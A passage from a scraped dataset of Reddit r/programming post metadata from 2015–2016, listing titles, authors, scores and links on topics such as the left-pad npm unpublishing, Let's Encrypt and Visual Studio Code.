  "title": "Left pad as a service",
  "body": null,
  "author": "wiseFr0g",
  "subreddit": "programming",
  "score": 3119,
  "upvoteRatio": 0.89,
  "numComments": 420,
  "createdAt": "2016-03-24T06:27:22.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://left-pad.io/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_4bjss2",
  "url": "https://github.com/azer/left-pad/issues/4",
  "permalink": "https://www.reddit.com/r/programming/comments/4bjss2/an_11_line_npm_package_called_leftpad_with_only/",
  "title": "An 11 line npm package called left-pad with only 10 stars on github was unpublished...it broke some of the most important packages on all of npm.",
  "body": null,
  "author": "_ar7",
  "subreddit": "programming",
  "score": 3133,
  "upvoteRatio": 0.93,
  "numComments": 1323,
  "createdAt": "2016-03-22T22:36:33.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/azer/left-pad/issues/4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_48fw1q",
  "url": "http://cloudtweaks.com/2016/02/essential-job-skills-learning-to-code/",
  "permalink": "https://www.reddit.com/r/programming/comments/48fw1q/iot_programming_essential_job_skills_infographic/",
  "title": "IOT Programming Essential Job Skills [Infographic]",
  "body": null,
  "author": "kadijar",
  "subreddit": "programming",
  "score": 8,
  "upvoteRatio": 0.53,
  "numComments": 57,
  "createdAt": "2016-03-01T11:51:06.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://cloudtweaks.com/2016/02/essential-job-skills-learning-to-code/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_44vthi",
  "url": "http://aws.amazon.com/lumberyard",
  "permalink": "https://www.reddit.com/r/programming/comments/44vthi/amazon_introduce_their_own_game_engine_called/",
  "title": "Amazon introduce their own game engine called Lumberyard. Open source, based on CryEngine, with AWS and Twitch integration.",
  "body": null,
  "author": "Nition",
  "subreddit": "programming",
  "score": 2923,
  "upvoteRatio": 0.88,
  "numComments": 520,
  "createdAt": "2016-02-09T09:02:02.000Z",
  "isNsfw": false,
  "flair": "Not Open Source",
  "media": {
    "kind": "link",
    "url": "http://aws.amazon.com/lumberyard",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_418q2q",
  "url": "http://www.codebashing.com/try-it",
  "permalink": "https://www.reddit.com/r/programming/comments/418q2q/learn_software_security/",
  "title": "Learn Software Security",
  "body": null,
  "author": "blahb331",
  "subreddit": "programming",
  "score": 7,
  "upvoteRatio": 0.53,
  "numComments": 7,
  "createdAt": "2016-01-16T15:01:41.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.codebashing.com/try-it",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3ytdsi",
  "url": "http://blog.docker.com/2015/12/ian-murdock/",
  "permalink": "https://www.reddit.com/r/programming/comments/3ytdsi/ian_murdock_creator_of_debian_has_died/",
  "title": "Ian Murdock, creator of Debian, has died",
  "body": null,
  "author": "Daishiman",
  "subreddit": "programming",
  "score": 9193,
  "upvoteRatio": 0.93,
  "numComments": 827,
  "createdAt": "2015-12-30T19:03:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blog.docker.com/2015/12/ian-murdock/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3w6jxb",
  "url": "https://grigio.org/go-vs-node-vs-rust-vs-swift/",
  "permalink": "https://www.reddit.com/r/programming/comments/3w6jxb/go_vs_node_vs_rust_vs_swift/",
  "title": "Go vs Node vs Rust vs Swift",
  "body": null,
  "author": "avinassh",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 57,
  "createdAt": "2015-12-10T05:21:55.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://grigio.org/go-vs-node-vs-rust-vs-swift/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3vg57d",
  "url": "https://github.com/apple/swift/commit/8bda440bb919b6b59ce24de8f077dc31211e3f5a",
  "permalink": "https://www.reddit.com/r/programming/comments/3vg57d/the_most_ridiculous_commit_ive_ever_seen_swift/",
  "title": "The most ridiculous commit I've ever seen (Swift)",
  "body": null,
  "author": "BlueRajasmyk2",
  "subreddit": "programming",
  "score": 125,
  "upvoteRatio": 0.57,
  "numComments": 283,
  "createdAt": "2015-12-04T18:57:15.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/apple/swift/commit/8bda440bb919b6b59ce24de8f077dc31211e3f5a",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3r9f2q",
  "url": "http://thenextweb.com/dd/2015/11/02/linux-creator-linus-torvalds-had-a-meltdown-over-a-pull-request-and-it-was-awesome/",
  "permalink": "https://www.reddit.com/r/programming/comments/3r9f2q/linux_creator_linus_torvalds_had_a_meltdown_over/",
  "title": "Linux creator Linus Torvalds had a meltdown over a pull request, and it was awesome",
  "body": null,
  "author": "vaishakhbn",
  "subreddit": "programming",
  "score": 27,
  "upvoteRatio": 0.51,
  "numComments": 344,
  "createdAt": "2015-11-02T21:06:28.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://thenextweb.com/dd/2015/11/02/linux-creator-linus-torvalds-had-a-meltdown-over-a-pull-request-and-it-was-awesome/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3r277w",
  "url": "http://www.npr.org/sections/money/2014/10/21/357629765/when-women-stopped-coding",
  "permalink": "https://www.reddit.com/r/programming/comments/3r277w/when_women_stopped_coding/",
  "title": "When Women Stopped Coding",
  "body": null,
  "author": "b0zho",
  "subreddit": "programming",
  "score": 4,
  "upvoteRatio": 0.52,
  "numComments": 27,
  "createdAt": "2015-11-01T08:02:38.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.npr.org/sections/money/2014/10/21/357629765/when-women-stopped-coding",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3qqwjd",
  "url": "https://medium.com/@lanec/how-to-get-a-job-at-any-tech-company-in-the-world-15fca2a8001d#.nm6g27n8b",
  "permalink": "https://www.reddit.com/r/programming/comments/3qqwjd/how_to_get_a_job_at_any_tech_company_in_the_world/",
  "title": "How to get a job at any tech company in the world",
  "body": null,
  "author": "biscoff_nutella",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 50,
  "createdAt": "2015-10-29T19:56:05.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@lanec/how-to-get-a-job-at-any-tech-company-in-the-world-15fca2a8001d#.nm6g27n8b",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3pup9s",
  "url": "http://developer.telerik.com/featured/oauth-has-ruined-everything/?imm_mid=0dac54&cmp=em-web-na-na-newsltr_20151021",
  "permalink": "https://www.reddit.com/r/programming/comments/3pup9s/oauth_has_ruined_everything/",
  "title": "OAuth Has Ruined Everything",
  "body": null,
  "author": "fspeech",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.53,
  "numComments": 53,
  "createdAt": "2015-10-23T01:52:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://developer.telerik.com/featured/oauth-has-ruined-everything/?imm_mid=0dac54&cmp=em-web-na-na-newsltr_20151021",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3pgvpb",
  "url": "https://letsencrypt.org/2015/10/19/lets-encrypt-is-trusted.html",
  "permalink": "https://www.reddit.com/r/programming/comments/3pgvpb/lets_encrypt_is_now_trusted_by_all_major_browsers/",
  "title": "Let's Encrypt is now trusted by all major browsers",
  "body": null,
  "author": "alexeyr",
  "subreddit": "programming",
  "score": 3064,
  "upvoteRatio": 0.94,
  "numComments": 364,
  "createdAt": "2015-10-20T08:49:48.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://letsencrypt.org/2015/10/19/lets-encrypt-is-trusted.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3os2lg",
  "url": "https://github.com/google/iosched/",
  "permalink": "https://www.reddit.com/r/programming/comments/3os2lg/google_releases_google_io_showcase_apps_huge_lump/",
  "title": "Google releases Google IO showcase apps: huge lump of spaghetti, unstructured, untestable, leaky. And this is the framework developers baseline reference.",
  "body": null,
  "author": "pakoito",
  "subreddit": "programming",
  "score": 15,
  "upvoteRatio": 0.53,
  "numComments": 132,
  "createdAt": "2015-10-14T22:04:45.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/google/iosched/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3nv3rv",
  "url": "http://www.stilldrinking.org/programming-sucks",
  "permalink": "https://www.reddit.com/r/programming/comments/3nv3rv/programming_sucks_a_very_entertaining_rant_on_why/",
  "title": "\"Programming Sucks\": A very entertaining rant on why programming is just as \"hard\" as lifting heavy things for a living.",
  "body": null,
  "author": "ParticleSpinClass",
  "subreddit": "programming",
  "score": 3056,
  "upvoteRatio": 0.87,
  "numComments": 1402,
  "createdAt": "2015-10-07T17:23:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.stilldrinking.org/programming-sucks",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3mmahb",
  "url": "http://makeit.netflix.com/the-switch#overview",
  "permalink": "https://www.reddit.com/r/programming/comments/3mmahb/netflix_announces_the_switch_a_programmable/",
  "title": "Netflix announces \"The Switch\", a programmable button that can dim lights, order takeout, silence your phone, and fire up your favorite show.",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 3687,
  "upvoteRatio": 0.91,
  "numComments": 319,
  "createdAt": "2015-09-27T21:00:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://makeit.netflix.com/the-switch#overview",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3lf8yt",
  "url": "http://azure.microsoft.com/en-us/blog/microsoft-showcases-the-azure-cloud-switch-acs/",
  "permalink": "https://www.reddit.com/r/programming/comments/3lf8yt/microsoft_linux/",
  "title": "Microsoft Linux",
  "body": null,
  "author": "willvarfar",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 7,
  "createdAt": "2015-09-18T12:09:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://azure.microsoft.com/en-us/blog/microsoft-showcases-the-azure-cloud-switch-acs/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3ke7ug",
  "url": "https://www.reddit.com/r/software/comments/3kdghp/eye_tracking_software_for_sufferers_of_alsmnd_can/?ref=share&ref_source=link",
  "permalink": "https://www.reddit.com/r/programming/comments/3ke7ug/eye_tracking_software_for_sufferers_of_alsmnd_can/",
  "title": "Eye tracking software for sufferers of ALS/MND can cost tens of thousands of dollars, so I've spent 3.5 years of my spare time writing a free & open-source alternative - meet OptiKey (C#, Rx, WPF) (x-post from r/Software)",
  "body": null,
  "author": "YeahIWroteOptiKey",
  "subreddit": "programming",
  "score": 19849,
  "upvoteRatio": 0.96,
  "numComments": 487,
  "createdAt": "2015-09-10T13:04:49.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.reddit.com/r/software/comments/3kdghp/eye_tracking_software_for_sufferers_of_alsmnd_can/?ref=share&ref_source=link",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3j4ydl",
  "url": "https://www.humankode.com/security/how-a-bug-in-visual-studio-2015-exposed-my-source-code-on-github-and-cost-me-6500-in-a-few-hours",
  "permalink": "https://www.reddit.com/r/programming/comments/3j4ydl/how_a_bug_in_visual_studio_2015_exposed_my_source/",
  "title": "How a bug in Visual Studio 2015 exposed my source code on GitHub and cost me $6,500 in a few hours",
  "body": null,
  "author": "N3mes1s",
  "subreddit": "programming",
  "score": 3213,
  "upvoteRatio": 0.85,
  "numComments": 819,
  "createdAt": "2015-08-31T21:38:39.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.humankode.com/security/how-a-bug-in-visual-studio-2015-exposed-my-source-code-on-github-and-cost-me-6500-in-a-few-hours",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3i9e4l",
  "url": "https://gist.github.com/TSiege/cbb0507082bb18ff7e4b",
  "permalink": "https://www.reddit.com/r/programming/comments/3i9e4l/the_technical_interview_cheat_sheet/",
  "title": "The Technical Interview Cheat Sheet",
  "body": null,
  "author": "dada1985",
  "subreddit": "programming",
  "score": 2939,
  "upvoteRatio": 0.92,
  "numComments": 528,
  "createdAt": "2015-08-24T22:44:16.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gist.github.com/TSiege/cbb0507082bb18ff7e4b",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3hxgeh",
  "url": "http://www.boycottdocker.org/",
  "permalink": "https://www.reddit.com/r/programming/comments/3hxgeh/boycott_docker/",
  "title": "Boycott Docker",
  "body": null,
  "author": "avinassh",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 20,
  "createdAt": "2015-08-22T03:07:20.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.boycottdocker.org/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3hjx3e",
  "url": "https://www.techdirt.com/articles/20150817/11362131983/yes-appeals-court-got-basically-everything-wrong-deciding-apis-are-covered-copyright.shtml",
  "permalink": "https://www.reddit.com/r/programming/comments/3hjx3e/yes_the_appeals_court_got_basically_everything/",
  "title": "Yes, The Appeals Court Got Basically Everything Wrong In Deciding API's Are Covered By Copyright",
  "body": null,
  "author": "johnmountain",
  "subreddit": "programming",
  "score": 3452,
  "upvoteRatio": 0.94,
  "numComments": 574,
  "createdAt": "2015-08-19T06:33:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.techdirt.com/articles/20150817/11362131983/yes-appeals-court-got-basically-everything-wrong-deciding-apis-are-covered-copyright.shtml",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3e5eny",
  "url": "https://gitter.im/ceylon/user?at=55ae8078b7cc57de1d5745fb",
  "permalink": "https://www.reddit.com/r/programming/comments/3e5eny/the_ceylon_code_of_conduct/",
  "title": "The Ceylon Code of Conduct",
  "body": null,
  "author": "mikep93",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 184,
  "createdAt": "2015-07-22T02:23:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://gitter.im/ceylon/user?at=55ae8078b7cc57de1d5745fb",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3cw14a",
  "url": "http://www.theatlantic.com/technology/archive/2015/07/the-secret-startup-saved-healthcare-gov-the-worst-website-in-america/397784/",
  "permalink": "https://www.reddit.com/r/programming/comments/3cw14a/the_unsung_saviors_of_healthcaregov_a_small/",
  "title": "The unsung saviors of Healthcare.gov: a small startup, working in hotel rooms, who rewrote the site for less than *1/50th* the cost of the initial gov't contractors",
  "body": null,
  "author": "jtredact",
  "subreddit": "programming",
  "score": 5577,
  "upvoteRatio": 0.94,
  "numComments": 609,
  "createdAt": "2015-07-11T06:27:59.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.theatlantic.com/technology/archive/2015/07/the-secret-startup-saved-healthcare-gov-the-worst-website-in-america/397784/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3bniu9",
  "url": "http://tilemapkit.com/2015/06/swift-is-a-joke-yup-even-swift-2-0/",
  "permalink": "https://www.reddit.com/r/programming/comments/3bniu9/swift_is_a_joke_yup_even_swift_20/",
  "title": "Swift is a joke! Yup, even Swift 2.0",
  "body": null,
  "author": "AlexeyBrin",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 38,
  "createdAt": "2015-06-30T17:19:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://tilemapkit.com/2015/06/swift-is-a-joke-yup-even-swift-2-0/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3ae2tx",
  "url": "http://endoflineblog.com/gitflow-considered-harmful",
  "permalink": "https://www.reddit.com/r/programming/comments/3ae2tx/gitflow_considered_harmful/",
  "title": "GitFlow considered harmful",
  "body": null,
  "author": "jalanb",
  "subreddit": "programming",
  "score": 13,
  "upvoteRatio": 0.51,
  "numComments": 244,
  "createdAt": "2015-06-19T10:57:13.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://endoflineblog.com/gitflow-considered-harmful",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_38bxni",
  "url": "http://blogs.msdn.com/b/looking_forward_microsoft__support_for_secure_shell_ssh1/archive/2015/06/02/managing-looking-forward-microsoft-support-for-secure-shell-ssh.aspx",
  "permalink": "https://www.reddit.com/r/programming/comments/38bxni/microsoft_is_going_to_support_secure_shell_ssh/",
  "title": "Microsoft is going to support Secure Shell (SSH) for PowerShell",
  "body": null,
  "author": "photonios",
  "subreddit": "programming",
  "score": 3571,
  "upvoteRatio": 0.94,
  "numComments": 703,
  "createdAt": "2015-06-03T05:50:36.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://blogs.msdn.com/b/looking_forward_microsoft__support_for_secure_shell_ssh1/archive/2015/06/02/managing-looking-forward-microsoft-support-for-secure-shell-ssh.aspx",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_386gbt",
  "url": "https://medium.com/@eyadnour/meet-the-egyptian-technician-who-is-currently-ranked-at-1-for-google-and-he-doesn-t-even-know-6cf1040efeab",
  "permalink": "https://www.reddit.com/r/programming/comments/386gbt/here_is_the_genius_who_cracked_googles_algorithm/",
  "title": "Here is the Genius who cracked Google's algorithm unintentionally and ranked #1 for the keyword \"Google\"",
  "body": null,
  "author": "taslimaakterlkj",
  "subreddit": "programming",
  "score": 3,
  "upvoteRatio": 0.51,
  "numComments": 11,
  "createdAt": "2015-06-02T04:44:11.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://medium.com/@eyadnour/meet-the-egyptian-technician-who-is-currently-ranked-at-1-for-google-and-he-doesn-t-even-know-6cf1040efeab",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_37mbpq",
  "url": "http://mashable.com/2015/05/28/happiest-job-in-america/",
  "permalink": "https://www.reddit.com/r/programming/comments/37mbpq/the_happiest_job_in_america_pays_150000_a_year/",
  "title": "The happiest job in America pays $150,000 a year",
  "body": null,
  "author": "one_eyed_golfer",
  "subreddit": "programming",
  "score": 1,
  "upvoteRatio": 0.5,
  "numComments": 58,
  "createdAt": "2015-05-28T17:51:24.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://mashable.com/2015/05/28/happiest-job-in-america/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_37h8ad",
  "url": "https://plus.google.com/+gimp/posts/cxhB1PScFpe",
  "permalink": "https://www.reddit.com/r/programming/comments/37h8ad/sourceforge_took_control_of_the_gimp_account_and/",
  "title": "SourceForge took control of the GIMP account and is now distributing an ad-enabled installer of GIMP",
  "body": null,
  "author": "halax",
  "subreddit": "programming",
  "score": 7482,
  "upvoteRatio": 0.96,
  "numComments": 974,
  "createdAt": "2015-05-27T16:48:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://plus.google.com/+gimp/posts/cxhB1PScFpe",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_3749pj",
  "url": "http://shakycode.com/post/119775920434/losing-it-all",
  "permalink": "https://www.reddit.com/r/programming/comments/3749pj/losing_it_all/",
  "title": "Losing it All",
  "body": null,
  "author": "rdegges",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.49,
  "numComments": 26,
  "createdAt": "2015-05-24T19:08:32.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://shakycode.com/post/119775920434/losing-it-all",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_36921o",
  "url": "https://github.com/mortie/mortup/",
  "permalink": "https://www.reddit.com/r/programming/comments/36921o/im_not_too_fond_of_markdown_so_i_spent_last_night/",
  "title": "I'm not too fond of Markdown, so I spent last night implementing my own markup language, Mortup, in 240 lines of JavaScript.",
  "body": null,
  "author": "mort96",
  "subreddit": "programming",
  "score": 0,
  "upvoteRatio": 0.5,
  "numComments": 48,
  "createdAt": "2015-05-17T10:29:00.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://github.com/mortie/mortup/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_362doj",
  "url": "http://strml.net",
  "permalink": "https://www.reddit.com/r/programming/comments/362doj/a_website_coding_itself_live/",
  "title": "A website coding itself live",
  "body": null,
  "author": "t3cm3n",
  "subreddit": "programming",
  "score": 4910,
  "upvoteRatio": 0.93,
  "numComments": 418,
  "createdAt": "2015-05-15T14:51:43.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://strml.net",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_35pjw1",
  "url": "https://www.google.com/about/careers/students/guide-to-technical-development.html",
  "permalink": "https://www.reddit.com/r/programming/comments/35pjw1/googles_guide_for_becoming_a_software_engineer/",
  "title": "Google's guide for becoming a Software Engineer",
  "body": null,
  "author": "gits1225",
  "subreddit": "programming",
  "score": 4075,
  "upvoteRatio": 0.88,
  "numComments": 977,
  "createdAt": "2015-05-12T13:38:14.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://www.google.com/about/careers/students/guide-to-technical-development.html",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_35cr6n",
  "url": "https://blog.svpino.com/2015/05/08/solution-to-problem-4",
  "permalink": "https://www.reddit.com/r/programming/comments/35cr6n/real_programmers_can_do_these_problems_easily/",
  "title": "\"Real programmers can do these problems easily\"; author posts invalid solution to #4",
  "body": null,
  "author": "SilasX",
  "subreddit": "programming",
  "score": 3059,
  "upvoteRatio": 0.87,
  "numComments": 1295,
  "createdAt": "2015-05-09T01:33:01.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "https://blog.svpino.com/2015/05/08/solution-to-problem-4",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_34aglr",
  "url": "http://techcrunch.com/2015/04/29/microsoft-shocks-the-world-with-visual-studio-code-a-free-code-editor-for-os-x-linux-and-windows/",
  "permalink": "https://www.reddit.com/r/programming/comments/34aglr/microsoft_annouces_visual_studio_code/",
  "title": "Microsoft Annouces Visual Studio Code (Crossplatform IDE)",
  "body": null,
  "author": "SaltTM",
  "subreddit": "programming",
  "score": 3092,
  "upvoteRatio": 0.93,
  "numComments": 852,
  "createdAt": "2015-04-29T16:18:53.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://techcrunch.com/2015/04/29/microsoft-shocks-the-world-with-visual-studio-code-a-free-code-editor-for-os-x-linux-and-windows/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "top:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_330r65",
  "url": "http://www.centurylinklabs.com/what-is-docker-and-when-to-use-it/",
  "permalink": "https://www.reddit.com/r/programming/comments/330r65/what_is_docker_and_when_to_use_it/",
  "title": "What is Docker and When To Use It",
  "body": null,
  "author": "[deleted]",
  "subreddit": "programming",
  "score": 26,
  "upvoteRatio": 0.52,
  "numComments": 104,
  "createdAt": "2015-04-18T11:27:50.000Z",
  "isNsfw": false,
  "flair": null,
  "media": {
    "kind": "link",
    "url": "http://www.centurylinklabs.com/what-is-docker-and-when-to-use-it/",
    "thumbnail": null,
    "isVideo": false,
    "galleryUrls": null
  },
  "foundVia": "controversial:all",
  "subredditInfo": null,
  "authorProfile": null,
  "comments": null
},
{
  "rowType": "post",
  "id": "t3_32uh79",
  "url": "http://stackoverflow.com/questions/4456438/how-do-i-correctly-pass-the-string-null-an-employees-proper-surname-to-a-so",
  "permalink": "https://www.reddit.com/r/programming/comments/32uh79/an_actual_guy_named_null_messes_up_peoples/",
  "title": "An actual guy named “Null” messes up people's databases",
  "body": null,
  "author": "henk53",
  "subreddit": "programming",
  "score": 4606,
